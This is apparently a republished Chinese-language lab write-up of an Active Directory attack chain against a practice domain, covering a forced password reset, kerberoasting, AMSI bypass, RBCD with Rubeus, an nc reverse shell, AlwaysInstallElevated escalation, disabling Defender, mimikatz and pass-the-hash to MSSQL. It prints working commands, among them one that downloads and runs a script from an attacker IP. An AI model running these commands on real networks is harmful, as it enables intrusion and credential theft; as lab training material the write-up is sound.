网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

admin 2022年7月12日01:10:02评论121 views字数 4798阅读15分59秒阅读模式


00


前言

前面文章里面通过攻击两台Linux机子获取到了新的凭证并且可以访问CLIENT01这台Windows机器,这篇文章会讲讲如何攻击CLIENT01和旁边的SRV01。

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)


01


信息收集和利用

在远程登录以后我们打开桌面回收站发现里面还有一个文件

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

打开可以看到里面包含一个凭证Russell Adler:Ajobtodo!

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

检查回bloodhound数据发现Russell.adler可以强制修改FRANK.WOODS的密码。

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

而FRANK.WOOD是对IR_OPERATOR具有GenericWrite权限。那么我们可以分配一个SPN kerberoasting给它然后破解获取其密码。

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

这里的想法是导入一些脚本去修改密码,很遗憾的是CLIENT01保护措施做的比较好得思考一下如何绕过AMSI和defender运行一些脚本。

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

关于修改密码的话其实可以参考一下powersploit所提供的方法如下图所示网页链接: https://powersploit.readthedocs.io/en/latest/Recon/Set-DomainUserPassword/

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)


那么我们首先需要从helen.park变成russell.adler先可以用以下命令
命令: runas /netonly /user:blacktopsrussell.adler powershell

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

关于绕过保护进行脚本枚举其实方法有很多。比如直接远程执行无文件落地的方法。当然为了稳妥起见,群主也给了我一串神秘代码运行

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

这里在导入了神秘代码以后用iex进行下载powerview脚本随后强制修改frank.wood的密码这里忘记开dc了所以导致第一次失败随后开起才算正常运行。
命令1:
iex(New-Object Net.WebClient).DownloadString('http://192.168.72.146/powerview.ps1')
命令2:
Set-DomainUserPassword -Identity frank.woods -AccountPassword (ConvertTo-SecureString 'Qwert123!' -AsPlainText -Force) -Verbose

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

前面提到frank.woods既然对IR_OPERATOR具有GenericWrite权限那么我们可以再次利用powerview分配一个SPN或者是kerberoasting随后用adpeas或者是impacket包解密获取其密码。

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

那么我们就继续故技重施了,先利用runas变成frank.woods在利用powerview分配一下
由于前面的操作基本上都是一样这里就不演示了。直接跳到分配SPN这里
命令: Set-DomainObject -Identity ir_operator -set @{serviceprincipalname='fake/client01'}

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

这里用继续用iex把adpeas接过来可以看到ir_operator的信息。这里adpeas也顺便把
很多信息跑出来了后面会分析一下。

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

现在我们要做的事是把其票据解开。根据上图adpeas提供的方法最后得到密码为Pass1kirsty

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

这里在输入operator的时候也发现旁边多了一个df_operator,由于名字比较类似。在内网里面可能存在一个密码多用的情况。那么我们可以尝试用runas看看能不能登录成功。

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

可以成功登录。

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)


02


内网信息收集分析

接下来会分析下刚才adpeas跑出来的信息。

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

往下拉可以看到svc_sq1, df_operator, svc_sql的账号和加密后的密码信息。同时adpeas也已经贴出了解密的方法比如hashcat -m 18200/13100

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)
网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

往下拉可以看到SRV01具有基于资源的约束委派而SRV02具有无限制约束委派。

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

通过hashcat解密最后凭证如下:
df_operator/if_operator: Pass1kirsty
svc_sql: 暂时解不出来
svc_sq1: Password1



03


基于资源的约束性委派

基于资源的约束性委派简称RBCD,它除了不再需要域管理员去设置相关属性之外这个请求票据的流程跟约束性委派差不多。利用条件就是目前在CLIENT01收割到的账号如果某账号对SRV01具备写(Generic Write)权限即可操控SRV01分配一张票据然后让我们跳过去进行访问和摸鱼。相关文章链接可以看看这位先知社区大佬的文章https://xz.aliyun.com/t/7454
这里在bloodhound点开了刚才收割到能解密出来的svc_sq1和df_operator当中发现df_operator对SRV01具有Generic Write权限。那么我们的目标就比较明确了。

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

首先我们可以先打开cmd用runas命令用刚才获取到的df_operator凭证 打开powershell, 因为df_operator对SRV01具有Generic Write权限所以接下来的操作不能以当前用户helen.park执行否则权限不够。
命令:runas /netonly /user:blacktopsdf_operator powershell

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

如果密码输入正确应该会开启一个新的powershell。

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

接下来我们会新添加一个机器账号到这个域里可以借助工具powermad, 工具链接: https://github.com/Kevin-Robertson/Powermad  这里我直接在kali上部署完了工具可以直接用curl下载过来随后导入该脚本添加一个新的域机器账号。
命令: New-MachineAccount -MachineAccount evil -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force)

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

下一步就是我委派我自己了。这里会借助另外一个工具Microsoft.ActiveDirectory.Management.dll(由于名字太长我直接改成ad.dll 你可以把它当成一个内网管理工具)如果没有报错就证明委派成功
命令: Set-ADComputer srv01 -PrincipalsAllowedToDelegateToAccount evil2$ -Server 192.168.0.56 -Verbose

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

这里可以用powerview检测一下当看到最后一行的msds-allowedtoactonbehalfofotheridentity的值变成{1,0,4,128...}代表委派成功。

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

下一步的想法是利用rubeus借助刚才的委派收割票据。但是使用内存执行绕过杀软保护时哪怕把神秘代码贴上去以后还是会出现一个报错。

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

这里研究了一下,在网上看到某位大佬的文章 https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/ 简单的来讲就是神秘代码饶了但还没绕完需要再加上一长串额外的神秘代码才能运行

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

这里把两份神秘代码融合在一起然后重新运行rubeus抓取刚创建的账号hash可以看到运行成功而不是刚才的红色报错提示。
命令:
[Rubeus.Program]::Main("hash /password:123456 /user:evil2 /domain:blackops.local".Split())

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

既然拿到hash以后下一步的想法就是把目标impersonateuser 对准管理员Administrator毕竟Administrator的身份肯定是比较高的想去哪就去哪。但是很可惜的是Administrator可能被设置了敏感用户不能被委派的选项导致利用失败。
既然对Administrator模拟失败我们可以更换其它用户试试。比如说在翻回bloodhound数据的时候发现jason.hudson还属于远程管理组。远程管理组可以理解为可以跳转到其它域内机器的用户。

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

随后使用以下命令获取票据可以看到提示说票据导入成功
命令: [Rubeus.Program]::Main("s4u /user:evil2$ /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:jason.hudson /msdsspn:cifs/srv01.blackops.local /altservice:cifs,http,host,winrm /ptt".Split())

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

用klist查看可以发现导入成功。

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

随后可以使用Invoke命令直接对srv01进行命令执行可以看到可以正常执行命令
命令:Invoke-Command -ComputerName srv01.blackops.local -ScriptBlock {xxx}

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)


04


SRV01系统枚举

既然可以命令执行,那么下一步就是弹一个shell回来,先接收一个nc回来随后使用nc发送一个shell回去

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

可以看到成功弹回来幸好没有被防火墙给拦住。

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

下一步就是接收提权枚举脚本了。由于SRV01还是有开防火墙的,只能像CLIENT01那样用内存执行并且把两串神秘代码一起用上才可执行winpeas.exe, 这里可以看到枚举结果显示AlwaysInstallElevated都被设置成1

.

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

往下拉可以看到SRV01上有一个MSSQL数据库

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

再往下拉可以看到jason.hudson的凭证就方便很多如果连接丢失可以直接远程登录一波。

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)


05


基于AlwaysInstallElevated进行提权

下一步就是基于AlwaysInstallElevated进行提权了。这里发现powerup和msf生成的.msi文件似乎跟系统不太兼容。所以在网上找到了其它的模板。模板链接: https://github.com/KINGSABRI/MSI-AlwaysInstallElevated

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

此外还需要借助另外一个工具wix310进行编译。工具链接: https://github.com/wixtoolset/wix3/releases/tag/wix3104rtm

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

这里用到WXS-Templates中的第一个模板命令执行。这里我改成用nc弹回一个更高权限的shell回来。

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

随后先是使用candle进行编译再用light编译,最后会生成一个.msi的文件。

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

这里在.51开启监听模式,随后在刚才的shell上输入以下命令便会得到一个新的更高权限的shell。拿到高权限的第一件事就是关闭防火墙。
命令:msiexec /I alwaysInstallElevated.msi /qn
关闭防火墙命令:powershell Set-MpPreference -DisableRealtimeMonitoring $true

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

随后可以导入一个mimikatz进行抓密码看看srv01上的账号有哪些。

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

其中可以抓到一个svc_sql的账号。通过刚才的winpeas枚举可以发现srv01上是有一个MSSQL数据库的。我们可以尝试使用该账号和hash进行连接

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

使用kali自带的mssql可以连接成功。并且用sp_helpserver可以看到该数据库是顺便连着srv02的。下篇文章会讲讲对数据库的利用和getshell。
命令: python3 mssqlclient.py -p 1433 -windows-auth blackops/[email protected] -hashes 00000000000000000000000000000000:c905217230dc16016f90de922b2856f0

网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)


原文始发于微信公众号(神隐攻防实验室):网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月12日01:10:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   网络安全内网中级靶场02(内网信息收集利用和分析,躲避AMSI,RBCD攻击,基础win提权,密码收集)http://cn-sec.com/archives/1161556.html

发表评论

匿名网友 填写信息